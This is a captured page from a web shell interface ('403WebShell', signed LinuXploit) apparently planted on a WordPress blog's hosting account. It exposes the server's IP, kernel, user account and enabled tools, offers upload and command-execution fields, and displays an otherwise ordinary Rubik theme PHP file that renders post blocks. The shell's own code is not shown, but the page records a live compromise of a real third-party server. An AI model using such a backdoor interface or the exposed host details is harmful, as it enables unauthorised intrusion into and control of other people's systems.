Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.77.51
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/blog.diixadigital.com/wp-content/themes/rubik/inc/blocks/has_sb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/blog.diixadigital.com/wp-content/themes/rubik/inc/blocks/has_sb/rubik_block_4.php
<?php
if (!class_exists('rubik_block_4')) {
    class rubik_block_4 extends rubik_section_parent  {
        
        public function render( $page_info ) {
            global $rubik_dynamic_css;
            
            $block_str = '';
            $uid = uniqid('block_4-');
            
            $bk_ajax_button = get_post_meta( $page_info['page_id'], $page_info['block_prefix'].'_ajax_button', true );
            
            $rubik_dynamic_css = rubik_core::rubik_set_dynamic_css($page_info, $rubik_dynamic_css, $uid);
            
            $bk_layout = get_post_meta( $page_info['page_id'], $page_info['block_prefix'].'_module_layout', true );
            if ($bk_layout != 'bkmodule-tall') {
                $bk_layout = '';
            }
            
            $cfg_ops = array();
            $cfg_ops = $this->cfg_options(); 
            $bk_post_icon = get_post_meta( $page_info['page_id'], $page_info['block_prefix'].'_post_icon', true );
            $module_cfg = bk_get_cfg::configs($cfg_ops['has_sb']['bk_block_4'], $page_info);    //get block config
            
            /** Tabs **/
            $rubik_tabs = get_post_meta( $page_info['page_id'], $page_info['block_prefix'].'_categorytabs', true );
            
            $rubikTabsToArray = explode(",",$rubik_tabs);
            
            $tabs_amount = intval(count($rubikTabsToArray));
            
            rubik_section_parent::$rubik_ajax_c[$uid]['post_icon'] = $bk_post_icon;
            
            rubik_section_parent::$rubik_ajax_c[$uid]['tabfirst']['content'] = '';
            rubik_section_parent::$rubik_ajax_c[$uid]['tabfirst']['offset'] = $module_cfg['offset'];
            rubik_section_parent::$rubik_ajax_c[$uid]['tabfirst']['entries'] = $module_cfg['limit'];
            rubik_section_parent::$rubik_ajax_c[$uid]['tabfirst']['prev'] = '';
            rubik_section_parent::$rubik_ajax_c[$uid]['tabfirst']['next'] = '';
            
            if($tabs_amount > 0) {
                for ($i=0; $i< $tabs_amount; $i++) {
                    rubik_section_parent::$rubik_ajax_c[$uid]['tab'.$i]['cat'] = $rubikTabsToArray[$i];
                    rubik_section_parent::$rubik_ajax_c[$uid]['tab'.$i]['content'] = '';
                    rubik_section_parent::$rubik_ajax_c[$uid]['tab'.$i]['offset'] = 0;
                    rubik_section_parent::$rubik_ajax_c[$uid]['tab'.$i]['entries'] = $module_cfg['limit'];
                    rubik_section_parent::$rubik_ajax_c[$uid]['tab'.$i]['prev'] = '';
                    rubik_section_parent::$rubik_ajax_c[$uid]['tab'.$i]['next'] = '';
                }
            }
            
            $the_query = bk_get_query::query($module_cfg, $uid);              //get query
    
            $block_str .= '<div id="'.$uid.'" class="bkmodule module-block-4 clearfix '.$bk_layout.'">';
            if ( $the_query->have_posts() ) :
                $block_str .= rubik_core::bk_get_block_title($page_info, $rubikTabsToArray);  //render block title
            endif;
            
            $block_str .= '<div class="bk-block-4-wrap bk-module-inner">';  
            $block_str .= $this->render_modules($the_query, $bk_post_icon);            //render modules
            $block_str .= '</div> <!-- bk-block-4-wrap -->';
            
            if($bk_ajax_button !== 'disable') {
                $block_str .= rubik_core::bk_module_ajax_pagination();
            }
            
            $block_str .= '</div>';
            
            unset($cfg_ops); unset($module_cfg); unset($the_query);     //free
            wp_reset_postdata();
            return $block_str;
    	}
        public function render_modules ($the_query, $bk_post_icon){
            $render_modules = '';
            $bk_contentin3 = new bk_contentin3;
            $bk_contentout3 = new bk_contentout3;
            $custom_var_out3 = array (
                'thumbnail'    => 'rubik-90-65',
                'meta'         => array('date'),
            );
            
            $custom_var_out_thumb_off = array (
                'thumbnail'    => 'off',
                'meta'         => array('date'),
            );
            
            $custom_var_in3 = array (
                'cat'           => 'on',
                'post-icon'     => $bk_post_icon,
                'meta'          => array('author', 'date'),
                'thumbnail'     => 'rubik-620-420',
            );
            if ( $the_query->have_posts() ) :            
                $render_modules .= '<div class="row clearfix">';
                $render_modules .= '<ul>';
                if ( $the_query->have_posts() ) :

                    $the_query->the_post();
                    $render_modules .= '<li class="item square-grid-type content_in col-md-6 col-sm-6">';
                    $render_modules .= '<div class="content_in_wrapper">';
                    $render_modules .= $bk_contentin3->render($custom_var_in3);
                    $render_modules .= '</div></li><!-- end post item -->';    
                else:
                    $render_modules .= '</ul> <!-- Close render large posts -->';
                    goto BKENDMODULE;
                endif;
                
                if ( $the_query->have_posts() ) :
    
                    $the_query->the_post();
                    $render_modules .= '<li class="item square-grid-type content_in col-md-6 col-sm-6">';
                    $render_modules .= '<div class="content_in_wrapper">';
                    $render_modules .= $bk_contentin3->render($custom_var_in3);
                    $render_modules .= '</div></li><!-- end post item -->';      
                else:
                    $render_modules .= '</ul> <!-- Close render large posts -->';
                    goto BKENDMODULE;
                endif;
                
                $render_modules .= '</ul> <!-- Close render large posts -->';
                
                $small_post_count_status = 1;
                
                if ( $the_query->have_posts() ) :
                    $render_modules .= '<ul class="list-small-post clearfix">';
                    foreach( range( 1, 2) as $i ):
                        if ( $the_query->have_posts() ) :
                            $the_query->the_post();
                            $render_modules .= '<li class="small-post bk-post-title-small content_out col-md-6 col-sm-6 clearfix">';
                            $render_modules .= $bk_contentout3->render($custom_var_out3);
                            $render_modules .= '</li><!-- End post -->';   
                        else:
                            $small_post_count_status = 0;     
                        endif;
                    endforeach;
                    if (($small_post_count_status !=0) && ( $the_query->have_posts() )) :
                        foreach( range( 1, $the_query->post_count - 4) as $i ):
                            $the_query->the_post();
                            $render_modules .= '<li class="small-post rubik-meta-inline bk-post-title-small content_out col-md-6 col-sm-6 clearfix">';
                            $render_modules .= $bk_contentout3->render($custom_var_out_thumb_off);
                            $render_modules .= '</li><!-- End post -->';        
                        endforeach;
                    endif;
                    $render_modules .= '</ul> <!-- End list-post -->';
                else:
                    goto BKENDMODULE;
                endif;
BKENDMODULE:
                $render_modules .= '</div><!-- Close render modules -->';
            endif;
            return $render_modules;
        }
        
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit